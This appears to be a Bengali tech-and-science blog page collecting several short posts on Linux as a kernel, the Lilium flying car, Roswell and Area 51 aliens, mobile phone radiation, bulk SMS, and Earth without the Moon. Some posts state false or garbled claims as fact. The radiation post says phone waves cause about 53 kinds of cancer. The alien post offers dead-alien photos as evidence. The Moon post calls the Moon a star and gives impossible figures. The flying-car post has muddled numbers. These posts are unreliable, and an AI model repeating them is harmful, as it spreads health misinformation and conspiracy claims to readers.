লিনাক্স

লিনাক্স কি আসলেই কোন অপারেটিং সিস্টেম?

আমরা যারা টেকনোলজি নিয়ে ব্যাস্ত থাকি তাদের মাঝে একটা বিরাট ভুল ধারণা আছে। এটা আমি আগে এতটা নজর দিয়ে দেখি নাই। কিন্তু নিজের ক্লাসমেট দের এই বিষয় টা নিয়ে ভুল ভাবনা দেখি, শুধু ভুল ভাবনা হলে ভুল বলা হবে। বলতে পারেন, ভুল জানা। যায় হোক, কি সেই ভুল জানা? লিনাক্স হচ্ছে একটা অপারেটিং সিস্টেম। কিন্তু লিনাক্স কোন অপারেটিং সিস্টেম না, লিনাক্স হচ্ছে একটা কার্নেল। আপনাকে যদি বুঝতে হয়, সবার আগে কার্নেল কি সেটা জানতে হবে।

কার্নেল কি

আপনার এন্ড্রোয়েড ফোনে লেখা আছে কার্নেল ভার্সন এত এত! দেখেছেন তো মনে হয়? কিন্তু একটা বার এটা কি সেটা জানার চেষ্টাও করেন নাই। এটা শুধু এন্ড্রোয়েড ফোনে থাকবে এমন কথা না, এটা সকল কম্পিউটার ডিভাইস গুলোতে থাকে। যেখানেই অপারেটিং সিস্টেম ও হার্ডওয়্যার আছে, সেখানেই কার্নেল আছে। কার্নেল অপারেটিং সিস্টেমের সাথে হার্ডওয়্যারের একটা কানেকশন জুড়িয়ে দেয়। একটা কম্পিউটার বা মোবাইলের কি কি হার্ডওয়্যার থাকে? র‍্যাম, হার্ড ডিস্ক, ক্যামেরা আরো অনেক কিছু। এই হার্ডওয়্যার গুলো কাজ করবে কিভাবে? অপারেটিং সিস্টেম কমান্ড দিবে সেই অনুযায়ী কাজ করবে তাই তো??অপারেটিং সিস্টেমের সেই কমান্ড গুলো হার্ডওয়্যারে পৌছানোর মাধ্যম টাই কার্নেল।

আপনি আপনার ফোনের লাইট অন করবেন, ব্যাস ট্যাপ করে দিলেন আর লাইট জ্বলে উঠলো। আসলে বিষয় টা এতই সহজ না। আপনি কমান্ড দিলেন আপনার ফোন কে, আপনার ফোন কমান্ড দিয়েছে আপনার অপারেটিং সিস্টেম কে। আপনার অপারেটিং সিস্টেম কমান্ড দিয়েছে আপনার অপারেটিং সিস্টেমের কার্নেলকে। সেটা এবার কমান্ড করেছে আপনার ফোনের ফ্ল্যাশ লাইটকে। এইতো জ্বলে গেছে, যদিও এটা খুব কম সময়ের মাঝে হয়।

খুব সাধারণ ভাবে দেখেন, কার্ণেল একটা সফটওয়্যার যা আপনার হার্ডওয়্যারের সাথে অন্য সফটওয়্যারের কানেকশন বজায় রাখে। আপনার কম্পিউটার বা মোবাইলের কোন সফটওয়্যারের যা যা প্রয়োজন তা সব কিছু কার্নেল এর কাছে থেকে চেয়ে নেয়। বলতে পারেন নির্ভর থাকে। কোন অ্যাপকে যদি ব্যাকগ্রাউন্ড রান হতে হয় বা কোন অ্যাপ যদি সিপিইউ ব্যবহার করতে চায় বা র‍্যাম ব্যবহার করতে যায় তবে এসকল কাজ প্রথমে কার্নেলের হাতেই থাকে। আপনার ফোন অন করার সাথে সাথে যে বুট অ্যানিমেশন দেখতে পাওয়া যায় এবং ধিরেধিরে সকল প্রসেস রান হতে শুরু করে তো এসকল কাজ শুধু কার্নেলের মাধ্যমেই হতে পারে।

আসলে একটা অপারেটিং সিস্টেমের কার্নেল টাই আসল বিষয়। বাকি যা থাকে, সেই গুলো ইন্টারফেস। কার্নেল ঠিক থাকা মানে পুরো অপারেটিং সিস্টেম প্রায় রেডি। যদিও কম্পিউটারের কার্নেল ও মোবাইলের কার্নেল আলাদা বিষয়। এদের এক চোখে বা এক মাপে দেখা ঠিক হবে না।

লিনাক্স ওএস তাহলে কি??

আসলে লিনাক্স ওএস বলতে কিছু নাই। ধরেন লিনাক্স কার্নেলের উপরে একটা সফটওয়্যার আছে, যেটার নাম উবুন্টু। আর এটাই হচ্ছে সেই ওএস। বোঝার ক্ষেত্রে আপনি সফটওয়্যার বলতে পারেন, কিন্তু এটাকে লিনাক্স ডিস্ট্রো বলা হয়। আমরা যেটাকে লিনাক্স ওএস হিসাবে চিনি আসলে সেই গুলো লিনাক্স ওএস না, সব গুলোই লিনাক্স কার্নেলের ডিস্ট্রো। এখন আপনার মনে প্রশ্ন আসতে পারে, তাহলে লিনাক্স ওএস বলতে আমরা যেগুলো বুঝি সেগুলো কি কি? আমরা যেগুলোকে লিনাক্স ওএস হিসাবে চিনি তার মাঝে আছে, উবুন্টু, রেড হ্যাট, সেন্ট ওএস, কালি লিনাক্স ইত্যাদি। কিন্তু সব গুলোই আলাদা আলাদা কোম্পানি পরিচালনা করে। এর মাঝে কিছু আছে বেশির ভাগ ফ্রি। আপনি জানলে অবাক হবেন, আমাদের এন্ড্রোয়েড টাও কিন্তু এই লিনাক্সের উপরে বেজ করেই করা। যেটা আমরা অনেকেই জানি না।

এখন মনে প্রশ্ন আসতে পারে, আমরা উইন্ডোজ, ম্যাক ইউজ করি তার কার্নেল কি?? উইন্ডোজ যে কার্নেল ব্যবহার করেন সেটা হচ্ছে Windows NT। আর ম্যাক ওএস এ কার্নেল হিসাবে ব্যবহার করা হয় XNU. কিন্তু তাদের কার্নেল গুলো ওপেন সোর্স না। অপরদিকে লিনাক্স কার্নেল পুরো টাই ওপেন সোর্স।

শেষ কথা

আশা করি ভাল লেগেছে, কোন প্রশ্ন থাকলে অবশ্যয় কমেন্টে জানাবেন। লিনাক্স নিয়ে আরো বিস্তারিত আশা করি অন্য একদিন আর্টিকেল দিব। আমার মনে যে প্রশ্ন গুলো এসেছে, শুধু সেই প্রশ্নের উত্তর দেয়ার চেষ্টা করেছি।

 

 

Weekly যন্ত্র খবর

নতুন টেকনলজি ফ্লাইং কার এর আবিষ্কার

নতুন টেকনলজি ফ্লাইং কার এর আবিষ্কার

ভবিষ্যতের প্রযুক্তির ক্ষেত্রে সব থেকে বেশি গবেষনা করা হচ্ছে পরিবহন ব্যবস্থা নিয়ে হাইপার লুক অথবা ইলেক্ট্রিক কার এর সাথে সব থেকে বেশি উচ্চারিত হচ্ছে উরন্ত গাড়ির এবং এটা নিয়ে বেশ জ়োড় দার গবেষনাও চলছে । কিছু দিন আগেই জার্মানিতে বের হয়েছে ফ্লাইং কার ।  এক দিকে গবেষনা চলছে হাইপার লুক নিয়ে অপর দিকে পন্য সর্বরাহের জন্য ব্যবহিত হচ্ছে ড্রোন আর শহর অঞ্চলে প্রচলিত গাড়ি এবং ব্যক্তি গত ভ্রমন এর জন্য ফ্লাইং কার । জার্মানিতে ফ্লাইং কার এর পরিক্ষন চালিয়ে যাচ্ছে স্টার্টআপ প্রতিষ্ঠান তাছারা আরো পরিক্ষা চালাচ্ছে বিশ্বের ছোট বড়ো অনেক প্রতিষ্ঠান ।  এর মধ্যে এধরনের কিছু প্রোটোটাইপ ও দেখা গেছে কন্তু এবারের তোরে এগিয়ে গেছে জার্মানির মিউনিকভিত্তিক স্টার্টঅপ লিলিয়াম । জার্মানির প্রযুক্তিতে তৈরী ফ্লাইং কার এর একটি ভিডিও প্রকাশ করেছে প্রতিষ্ঠানটি । তাদের এই ফ্লাইং কারটি মানুষ পরিবহনে ব্যবহার উপযোগী । আর এছাড়াও জার্মানের আকাশে উড়তে দেখা গেছে টাক্সি । প্রতিষ্ঠানটির এই ফালিং কারটির নাম দেও্য়া হয়েছে লিলিয়াম জ়েট এটি বিশ্বের প্রথম পাচ আসনের উরুক্ষু যান এবং এই উড়ন্ত গাড়িটি ভার্টিকালি উঠা নামা করতে পারে । সাবাভিক ভাবেই এই উরন্ত যানটির শক্তির উতস হিসাবে কাজ করে জেট ইঞ্জিন এবং এটি কোন ধরনের কার্বন নির্গত করে না বলে জানিয়েছেন জার্মানির এই প্রতিষ্ঠানটি এবং তারা আরো জানিয়েছেন যে এই ফ্লাইং কার এর ইনঞ্জিন ২০০০ হার্জ সম্পন্ন  সভাবতই এক বারে ৫ জ়ন পাসেনঞ্জার বহন করতে সক্ষম।

যাই হোক এবার জানাযাক এই জার্মান কম্পানির রিসার্চারা কি বলেছেন,

সহ-প্রতিষ্ঠাতা ও প্রধান নির্বাহী ড্যানিয়েল উইগ্যান্ড বলেছেন: “আমরা নগরীর উরোজান চলাচলকে বাস্তবে পরিণত করার দিকে আরও একটি বিশাল পদক্ষেপ নিচ্ছি। লিলিয়াম জেট নিজেই সুন্দর এবং এটি প্রথমবারের মতো আকাশে উঠতে দেখে আমরা শিহরিত হয়েছিলাম”

প্রতিষ্ঠাটির মতে, উল্লম্ব টেক অফ এবং অবতরণের জন্য ৩টি ইলেক্ট্রিক জেট ইঞ্জিনের জন্য এটিকে অন্য প্লেনের তুলনায় আরও সুরক্ষিত এবং সাশ্রয়ী করে তুলবে। একবার বাতাসে, ইনঞ্জিনে যে বিদ্যুতের দরকার হয় তা অন্যান্য বৈদ্যুতিক গাড়ির চেয়ে কিছুটা বেশি ।

আরো পড়ুনঃ

নতুন টেকনলজি ফ্লাইং কার এর আবিষ্কার নিয়ে বিশিষ্টোজনদের মতামত,


চিফ কমার্শিয়াল অফিসার রেমো গারবার বলেছিলেন যে ফ্লাইং কারটি হেলিকপ্টার এর তুলনায় প্রায় ২০% কম শব্দ করেছিল: "আপনি যে
শহরগুলিতে বাস করেন সেখানে এটি ব্যবহার করতে পারবেন, এটি সম্পূর্ণ বৈদ্যুতিক চালিত ... এটি খুব আলাদা” এর কারনে 
ট্রাফিক জাম এবং সাউন্ড পলিউশন কম হবে।"

ফ্লাইং কারমরগান স্ট্যানলির বিশ্লেষণ অনুসারে ২০৪০ সালের মধ্যেই ফ্লাইং কারটির বাজারের মূল্য $1.6 মিলিয়ন ডলার হতে পারে এবং অন্যান্য 
ইভিটিএলএস - বা বৈদ্যুতিক উল্লম্ব টেক অফ এবং ল্যান্ডিং ক্র্যাফট - বিশ্বজুড়ে বিকাশ লাভ করছে। উবার নিজেই এই বছরের শুরুর
দিকে একটি খুব ভিন্ন-রূপ ধারণার মডেল উন্মোচন করেছেন, যখন এয়ারবাস তার স্বায়ত্তশাসিত বাহানা নৈপুণ্য বিকাশ করছে। চীনা 
ড্রোন প্রস্তুতকারক এহং 2018 সালে হেলিকপ্টার আকারের ইভিটিএলে ভিআইপি নামে একটি যানবাহন বহন করতে যথেষ্ট আত্মবিশ্বাসী ছিলেন।

Weekly যন্ত্র খবর

সত্যি এলিয়েনদের সাথে কি দেখা হওয়া সম্ভব ?

সত্যি এলিয়েনদের সাথে কি দেখা হওয়া সম্ভব ?

আমরা বসবাস করি এই পৃথিবীতে আর  এটি হল আমাদের ঘর আর আমাদের মধ্যে অধিকাংশ মানুষই আমাদের প্রায় সারা জীবন এখানেই কাটিয়েছি । এই সুন্দর তারাভরা চাদরের নিচে এটা না জেনেই যে আমরা কে এবং আমরা এখানে এসেছি কিভাবে? কিন্তু ধীরে ধীরে যখন আমাদের বুদ্ধির বিকাশ হয় তখন আমরা এ দুনিয়াকে পড়তে শুরু করি।

এবং এর সম্বন্ধে অনেক কিছুই জানতে শুরু করি প্রায় 400 বছর আগে থেকে আমরা বিজ্ঞানকে বুঝতে শুরু

করেছি এবং মানব সভ্যতা প্রকৃতির  প্রকৃতির রহস্য এবং নিয়মগুলি সাথে অবগত হয়েছি । মানুষের দ্বারা নতুন নতুন জিনিসের খোঁজ এবং আবিষ্কারের এই চাকা একবার যখন ঘুড়েছে  তারপর থেকে নতুন নতুন খোঁজ পেয়ে চলেছে এবং আমরা অনেক মহান বৈজ্ঞানিকদের কে পেয়েছি যারা আমাদের জীবন যাত্রাকে করেছে খুবই সহজ । কল্পনাকে বাস্তবে রুপ দিয়েছি আমরা । মানুষের  মনে প্রশ্ন এসেছিল যে ওই তারায় ভরা মহাকাশের পিছনে কি রয়েছে? আর এই প্রশ্নটি আমাদের মহাকাশে পাড়ি দেওয়ার ইচ্ছার বীজ বপন করে। তারপর আমরা বুঝতে পারি যে আমাদের প্লানেট এর মত   আরো অনেক প্লানেট রয়েছে, যেগুলি আমাদের মত ব্রহ্মাণ্ডে অবস্থিত এবং আমাদের সূর্যের মত কোন একটা সূর্যকে প্রদক্ষিণ করছে । আজকে আমরা জানি শুধুমাত্র আমাদের গ্যালাক্সিতেই লক্ষ লক্ষ কোটি কোটি  গ্রহ রয়েছে এবং অসংখ্য নক্ষত্র রয়েছে । এখন কথা হলো আমাদের প্লানেট এর মত আরও কি অন্য প্লানেট আছে যে খানের জল বায়ুতে প্রানের জীবন সম্ভব। 

 

আমারিকার রসোওয়েল

যাই হোক এখন কিছু  ঘটনায় যাওয়া যাক 

আমারিকার রসোওয়েল এ  ১৯৪৭ সালের মাঝামাঝি সময়ে, মার্কিন যুক্তরাষ্ট্রের আর্মি এয়ার ফোর্সের একটি বেলুন নিউ মেক্সিকোয়ের রোজওয়েলের কাছে একটি রেঞ্চের উপর বিস্ফরিত হয়েছিল । আর আমিরিকান সরকার এই খবরটি ধামা চাপা দেওয়ার জন্য আমারিকার রসোওয়েল এর এই স্থানটির চিহ্ন তাদের মানচিত্র থেকে মুছে দিয়ে ছিল । যাইগাটির রহস্য কে গোপন রাখার জন্য তারা জাইগাটির একটি নাম দিয়ে রেস্টিকটেক্ট করে দেয়   এমন কি আমিরিকান সরকার কে জিজ্ঞাসা বাদে ও বিষয় টি অস্বিকার করেন । গুগোল মাপেও যদি যাইগাটি দেখেন তাহলে দেখবেন এরিয়া 51 এর একটি স্থান কে ব্লার করে রাখা । অর্থাৎ সাটেলাইট থেকেও এই জাইগাটির ছবি উঠানো সম্ভব না । 

আরো পড়ুনঃ

আমারিকার রসোওয়েল এর এই ঘটনা অনেক বিজ্ঞানী বলেন সত্যি আবার অনেক বিজ্ঞানী এটি মিথ্যা বলে উরিয়ে দেয়। যাই হোক আজ আমি নিজের একটি কন্সপেয়ারী থিওরী দিয়ে বিষয় টাকে ব্যক্ষা করবো দেখবো ঘটনার সত্যতা কি ? 

আমারিকার রসোওয়েল এর ১৯৪৭ সালের এই ঘটনাটির পর একটি গোয়েন্ডা টিম  এই বিষয়ে একটি নিউজ প্রকাশ করেছেন সেই তত্ত্য মোতাবেক বলা হয় ARIA 51 একটি ইউএস মিলিটারি বেজ় যেখানে আমিরিকা বিভিন্ন নিউ টেকনলজির এয়ার র্কাফট এর উপর রিসার্স করেন । আর তাছাড়া তারা নতুন নতুন প্রযক্তি নিয়ে গবেষনা করার জন্য এই স্থানটি ব্যভার করা হয়ে থাকে। 

 

আমারিকার রসোওয়েল

এই বাক্তি ধারনা করেন যে তিনি এরিয়া ৫১ এর একজন কর্মী এবং সেখানে এলিয়েন দের নিয়ে গবেষনা করা হয় বলে জানিয়েছেন । আরোও কিছু ছবি প্রকাশ করেছিলেন এই বাক্তি তার মৃত্যুর কিছু সময় আগে। ছবি গুলোতে মৃত কিছু এলিয়েন দের দেখতে পারবেন ।

 

 

এই ছবিটি তিনি প্রকাশ করেছিলেন তাছাড়া আরো কিছু ছবিও তিনি দেখিয়েছিলেন মিডিয়াকে ।

এছাড়া এই UFO বিধ্বস্তের কথা কিছু নিউজ পেপার ও  প্রকাশ করেছিল।

 

এই বিষয়ে আরো কিছু নতুন প্রমান নিয়ে এরিয়া ৫১ এর রহস্য ভেদ করতে আবার আসবো আপনাদের মাঝে  ভাল থাকবেন সুস্থ থাকবেন।

 

 

Weekly যন্ত্র খবর

মোবাইল রেডিয়েশন কি? এই রেডিয়েশন কি কান্সারের কারন?

প্রাচীন কাল থেকেই আমরা জীবন যাত্রার মান উন্নতো করে আসছি আর এই উন্নতির ধারা থেকে রেভুলোশন হতে হতে বর্তমানে আমরা বাস করতেছি আধুনিক যুগে। এখন মানুষ নিজেদের প্রয়োজন এর তাগিদে আবিষ্কার করেছে সব অত্যাধুনিক প্রযুক্তি আর মোবাইল ফোন তারই একটু নির্দেশন। মোবাইল ফোন আমাদের বিশ্বকে পরিনত করেছে গ্লোবাল ভিলেজ অর্থাৎ বিশ্বগ্রামে। এখন আমরা চাইলেই মূহুর্তের মধ্যে পৃথিবীর যেকোনো প্রান্তে যোগাযোগ করতে পারতেছি মোবাইল এর মাধ্যমে। সব কিছু যেমন ভালদিক থাকে তেমনি খারাপ দিকও থাকে আর মোবাইল ফোন অথবা স্মার্ট ফোনের ক্ষেত্রে ও তাই। যাই হোক কথা না বাড়িয়ে আজকের আলোচনার বিষয়ে আশা যাক।


প্রথমে কথা বলা যাক মোবাইল রেডিয়েশন নিয়ে?

মোবাইল রেডিয়েশন বলতে বোঝায় মোবাইল থেকে বাহিরে বেড় হওয়া ক্ষতি কর তরংগকে। আপনারা হইতো মোবাইল কিনতে যেয়ে দেখেছেন যে মোবাইল এর বক্সের পেছনের দিকে কিছু বিবরণ লেখা থাকে। একটু ভালো ভাবে লক্ষ করলেই দেখতে পাবেন যে সেখানে মোবাইল এর ফিচারস দেওয়া থাকে এবং সেই সাথে আরেকটি জিনিস দেওয়া থাকে যেটার নাম সার্র ভালু।

রেডিয়েশন
এখন কথা হলো সার্র ভালু কি? 

আপনি যখন মোবাইলে কথা বলেন তখন আপনার কথা গুলো ইলেক্ট্রো মাগনেটিক ওয়েব আকারে মোবাইল থেকে বেরিয়ে মোবাইল টাওয়ারে চলে যায় এবং সেখান থেকে তরংগটি ডাইভারট হতে হতে চলে যায় আপনার বন্ধুর কাছের মোবাইল টাওয়ারে এবং আপনার বন্ধুর ফোনের নেটওয়ার্ক রিসিভার এর মাধ্যমে সেই তরংগটি রিসিভ হয়। এখন মনে করেন আপনার ফোন থেকে ১০০% ইলেক্ট্রোম্যাগনেটিক ওয়েব বেড় হইছে এখন আমরা জানি ইলেক্ট্রোম্যাগনেটিক ওয়েব পুরো এবর্সবেবল নয়। আমাদের পরিবেশে এই ইলেক্ট্রোম্যাগনেটিক ওয়েব রেডিয়েশন আকারে ছড়িয়ে পড়ে। আপনার বন্ধু যখন আপনার ফোন কানের কাছে ধরে রিসিভ করে কথা বলে তখন সেই ইলেক্ট্রোম্যাগনেটিক ওয়েবস এর কিছুটা আপনার বন্ধুর মস্তিষ্কের সেলস এবস্রব করে। আর এই ইলেক্ট্রোম্যাগনেটিক ওয়েব রেডিয়েশন আকারে নিস্ত্রিত হয় যার থেকে প্রাই ৫৩ ধরনের কোষ বৃদ্বি বা কান্সার হতে পারে। সাধারণ ভাবেই যখন আপনি মোবাইল কিনতে যেয়ে মোবাইল এর বক্সের পেছনে উক্ত মোবাইল এর সার্রভালু অর্থাৎ রেডিয়েশন এর পরিমান উল্লেখ থাকে।

টিপস এন্ড ট্রিকস

(Bulk SMS) বাল্ক এসএমএস কি ? BULK SMS এবং SMS এর মধ্যে পার্থক্য কি ?

আপনারা হইতো অনেকেই (Bulk SMS) বাল্ক এসএমএস এর বিষয়ে অনেকেই শুনেছেন ইতিপূর্বে । অনেকের মনে হইতো Bulk SMS নিয়ে অনেক রকম ধারনা আছে । কিন্তু (Bulk SMS) বাল্ক এসএমএস কি ? আর (Bulk SMS) বাল্ক এসএমএস কাজ করে কি ভাবে এটা হইতো অনেকেরই জানা নেয় । আজকের এই পোস্ট টিতে আমি (Bulk SMS) বাল্ক এসএমএস নিয়ে আপনাদের একটই বেসিক ধারনা দেব  যাতে আপনারা (Bulk SMS) বাল্ক এসএমএস নিয়ে একটি সুস্পস্ট ধারনা পেতে পারেন ।

(Bulk SMS) বাল্ক এসএমএস কি ?

উইকিপিডিয়ার দেওয়া সংঙ্গা

(Bulk SMS) বাল্ক এসএমএস হল মোবাইল ফোন টার্মিনালগুলিতে ডেলিভারির জন্য প্রচুর সংখ্যক এসএমএস বার্তা প্রচার করার একটি সার্ভিস বা সেবা।

তাহলে বলা যেতে পারে যে (Bulk SMS) বাল্ক এসএমএস  হল এমন একটি সেবা যেই সেবা অথবা সার্ভিস ব্যবহার করে আপনি একসাথে অনেক গুলি বার্তা পাঠাতে পারবেন । সাধারনত মার্কেটিং এর কাজে অর্থাৎ কোন জিনিস এর প্রচার এর জন্য এই (Bulk SMS) বাল্ক এসএমএস  সার্ভিস টি ব্যবহার করা হয় ।

তাছারা (Bulk SMS) বাল্ক এসএমএস সার্ভিস টি বিষেশ করে মিডিয়া সংস্থা,উদ্যোগক্তা,ব্যাংক (বিপণন ও জালিয়াতি নিয়ন্ত্রণের জন্য) এবং ভোক্তা ব্র্যান্ড,বিনোদন, এন্টারপ্রাইজ এবং মোবাইল বিপণন সহ বিভিন্ন উদ্দেশ্যে ব্যবহার করা হয়ে থাকে।

(Bulk SMS) বাল্ক এসএমএস দ্বারা  আপনি যে কোন নাম দিয়ে এসএমএস পাঠাতে পারবেন আর বর্তমানে (Bulk SMS) বাল্ক এসএমএস সার্ভিস টি খুব জনপ্রিয়তা লাভ করেছে ইতি মধ্যে ।

BULK SMS এবং NORMAL SMS এর পার্থক্য কি ?

(Bulk SMS) বাল্ক এসএমএস সার্ভিস টি সাধারন সিম অপরেটর এর এসএমএস থেকে সম্পূর্ন রুপে আলাদা এবং সাধারন এসএমএস থেকে দামেও সস্থা ।

(Bulk SMS) বাল্ক এসএমএস নিয়ে যদি আরো কোন প্রশ্নো থাকে তাহলে কমেন্ট বক্সে জানাবেন । আগামী পোস্টে (Bulk SMS) বাল্ক এসএমএস নিয়ে বিস্তারিত তথ্য জানতে পারবেন । 

আজকে এই পরযন্ত সবাই ভালথাকবেন সুস্থথাকবেন এই কামনা নিয়ে আজকের আর্টিকেল শেষ করতেছি।

বিজ্ঞান চিন্তা

চাঁদ না থাকলে কি হতো পৃথিবীর ?

চাঁদ না থাকলে কি হতো পৃথিবীর ?

আমাদের নক্ষত্র  চাঁদ যেটি ছাড়া হইতো এই পৃথিবী জীবন সম্ভব হত না । সাধারন ভাবে চাঁদ আমাদের পৃথিবী থেকে প্রায় ৩ লক্ষ ৮৪হাজার কিলোমিটার দূরে অবস্থিত এবং প্রতি এক বছর অন্তর অন্তর চাদ আমাদের পৃথিবী থেকে প্রাই ৪ সেন্টিমিটার অথবা ১.৫ ইঞ্চি দূরে সরে যাচ্ছে ।চাঁদ এর গুরুত্ব আমাদের জিবনে যে কত গুরুত্ব পূর্ন সেটা আমরা বুজতে পারি না । বর্তমানে আমাদের জীবন যাত্রা খুবই বাস্ততা পূর্ণ আর এই বাস্ত লাইফে চাঁদ নিয়ে ভাবার সময় পাই না আর কেউ  সময় পেলেও কেউ ভেবে দেখিনা । শুধু মাত্র এই চাঁদের কারনে আমাদের এই পৃথিবীতে মানুষ এবং অন্যান্য জীব জন্তুর অস্তিত্ব টিকে আছে বৈজ্ঞানিক রিসার্জ দ্বারা বলা এই সব কথা আমরা সাধারন মানুষরা হইতো ধারনা করতে পারি না, যে চাঁদ আমাদের লাইফে এতো গুরুত্ব পূর্ন কেন ?

আজ আমি আপনাদের সাথে শেয়ার করবো  যে চাঁদ না থাকলে কি হত এই পৃথিবীর ? 

যদি চাঁদ না থাকতো তাহলে আমাদের এই সুন্দর পৃথিবী আজ এক অন্য পৃথিবী হয়ে যেত । এমনটি নয় যে চাঁদ আমাদের পৃথিবীতে সব সময় ছিল  । ঘটনা টি ঘটে প্রায় 4.5 বিলিয়ন কোটি বছর আগে । পৃথিবী নির্মান হবার পর মংগল গ্রহের মত একটা গ্রহ সোজা এসে পৃথিবিকে ধাক্কা মারে যা ফলে অনেক অনেক লাভা আর ধুলো মহাকাশে ছড়িয়ে যায় এবং সময় এর সাথে সাথে এই সব লাভা আর ধুলো পৃথিবীর চারি দিকে ঘুরতে থাকে এবং একত্রিত হতে থাকে  আর এভাবেই সৃষ্ট হয় আমাদের পৃথিবীর উপগ্রহ চাঁদের ।  

 

এখন আপনি ভাবছেন হইতো এর সাথে পৃথিবীতে জ়ীবন থাকা না থাকার কি সম্পর্ক? 

 

তাহলে শুনুন যদি চাঁদ পৃথিবীর রটেশনাল স্পিড কে স্লো  ডাউন না করত একদিন মাত্র ছয় ঘন্টার হত অর্থাৎ তিন ঘন্টা দিন এবং তিন ঘন্টা রাত হত এবং এত বেশি স্পিডে ঘুড়ার কারনে পৃথিবী সূর্যের আলোকে ঠিকঠাক ভাবে এসব করতে পারতো না । আর এই কারনে পৃথিবীর গড় তাপমাত্রা ও খুবি অল্প  থাকতো । আর পৃথিবীর সকল পানি সব সময় কঠিন অবস্থায় থাকতো অর্থাৎ পৃথিবী সব সময় বরফে ঢাকা থাকতো এবং পৃথিবী স্থলে বসবাস করার মত কোন প্রানীর অস্তিত্ত থাকতো না । পৃথিবীতে জীবন তো থাকতো কিন্তু সেগুলো মাইক্রো অর্গানিজম ফরমে থাকতো। আবার ধরে নেই এত কিছুর পরও যদি পৃথিবী গরম থাকতো তাহলে এত স্পিডে ঘোরার কারনে পৃথিবীর ভুপৃষ্ঠে অথবা সারফেছে সব সময় ২০০ থেকে ৪০০ কিলোমিটার বেগে হাওয়া চলতো। আর এই কারনে পৃথিবীতে কোন পশু ,পাখি  অথবা পোকামাকর সারভাইব করে বেচে থাকতে পারতো না । 

 

এবার চাঁদের কিছু গুরুত্ব পূর্ন অবদান নিয়ে কথা বলা যাক 

কি ভাবে চাঁদ পৃথিবীর গতিকে কম করে ? 

যদি আপনাকে  এক জাইগায় দাড়িতে  ঘুরতে বলা হয় আপনি হইতো খুব সহজেই খুব তেজ গতিতে  ঘুরতে পারবেন কিন্তু আপনাকে যদি একটা ভারি বস্তুকে হাতে ধরে ঘুরতে বলা হয় তাহলে হইতো আপনি আর আগের গতিতে ঘুরতে ঘুরতে পারবেন না। চাঁদ এর গ্রাভিটেশনাল ফোর্স ঠিক একই ভাবে পৃথিবীকে আর্কষন  করে আছে যার করনে পৃথিবী তার পূর্ন গতিতে ঘুরতে পারছে না আর এভাবেই চাঁদ পৃথিবীর গতিকে কমিয়ে রেখেছে ।

 

কি ভাবে চাঁদ আমাদের পৃথিবী একসিস কে স্টেবল রেখেছে ?

চাঁদ পৃথিবীর একসিসকে ২৩.৫ ড্রিগ্রী এংগেলে ঝুকিয়ে রেখেছে যার কারনে পৃথিবীর একসেস স্টেব্ল থাকে । যদি চাঁদ না থাকতো তাহলে পৃথিবীর একসিস স্টেবল থাকতো না যার ফলে পৃথিবীর একসিস অনিমিত ভাবে পরিবর্তন হত । কখনো বৃহশপতি গ্রহের কাছে আসার কারনে আবার কখনো  মংগল গ্রহের কারনে আবার কখনো পৃথিবীতে হওয়া ভূমি কম্পের কারনে। যার কারনে পৃথিবীর জলবায়ুর 

পরিবর্তন হতে থাকতো। নর্থ পুলের সকল বরফ গলে যেয়ে পৃথিবীর স্থল ভাগ ডুবিয়ে দিত আবার কোন কোন স্থানে অসাভাবিক বৃষ্টি পাত হত আবার কোন কোন স্থানে প্রকান্ড আকারে খড়া দেখা দিত। যার কারনে পৃথিবীর সকল জীব যন্তু মারা যেত। কোন জীব যন্তুই আর বেঁচে থাকতো না আর পৃথিবীর সকল স্থান পানির নিচে ডুবে যেত যার কারনে কোন ভাবেই আর ফসল উৎপাদন করা যেত না। আমরা যদি কোন বিকল্পো উপায় ও যদি বের করতাম তার পরেও কোন রকম উদ্ভিতকে বাঁচাতে পারতাম না কারন সকল পোকামাকর আর পাখি মারা গেলে উদ্ভিদ আর তারদের বংশ বৃদ্ধি করতে পারতো না যার ফলে পৃথিবীতে জীব এর অস্তিত্ত চির দিন মত ধ্বংস হয়ে যেত।

 

 চাঁদ ছাড়া কি পৃথিবীতে মানুষের অস্তিত্ত সম্ভব ছিল?

 

এই বিষয় টি আপনাদের কাছে একটু ইন্টারেস্টিং লাগতে পারে । যখন চাদের র্নিমান হয় তখন চাঁদ পৃথিবীর অনেক কাছে ছিল । এখন কার তুলোনায় প্রায় ১০ গুন বেশি কাছে ছিল । আমরা  জানি যে জীবন এর সূত্র পাত হয় পানি থেকে আর সমুদ্রের পানিতে প্রথম জীবন সৃষ্টি হয়। চাঁদের মধ্য কর্ষন শক্তির কারনে সমুদ্রে বড় বড় ঢেউ এর সৃষ্টি করতো । চাঁদের কারনে এই জীবন সমুদ্রের গভীরতা থেকে ভূপৃষ্ঠে আসার সুযোগ পাই ,  আর সেখান থেকে জীবনের বিকাশ শুরু হয় । আমরা চাঁদ ছাড়াতো জীবনের কল্পনা করতে পারি কিন্তু চাঁদ না থাকলে হইতো আজ আমরায় থাকতাম না । 

 

Food Chain  চালনার ক্ষেত্রে  চাঁদের কি অবদান ?

 

খাদ্য চক্র বা ফুড চেইন ও চাঁদের অবদান আছে । চাঁদের আলোর কারনে সমুদ্রের গভিরে থাকা প্রানি গুলো উপরে প্লাংকন অথবা ছোট জলজ উদ্ভিত খেতে আশে। চাঁদের কারনে সৃষ্টি জোয়ার ভাটার মাধ্যমেই তারা উপরে উঠে আসতে পারে ।  ছোট প্রানী চাঁদের আলোকে কাজে লাগিয়ে, এই খাবার গুলো খুজে পাই আর তার থেকে বড় প্রানী গুলো তখন তাদের খায় আর এভাবে তার থেকে বড় এবং তার থেকেও বড় প্রানী খাওয়ার পায় । আর এভাবেই চলে সমুদ্রের ফুড চেইন । 

কি হবে  যদি চাঁদ কখনো ফেটে যায় বা হারিয়ে যায় ?

 

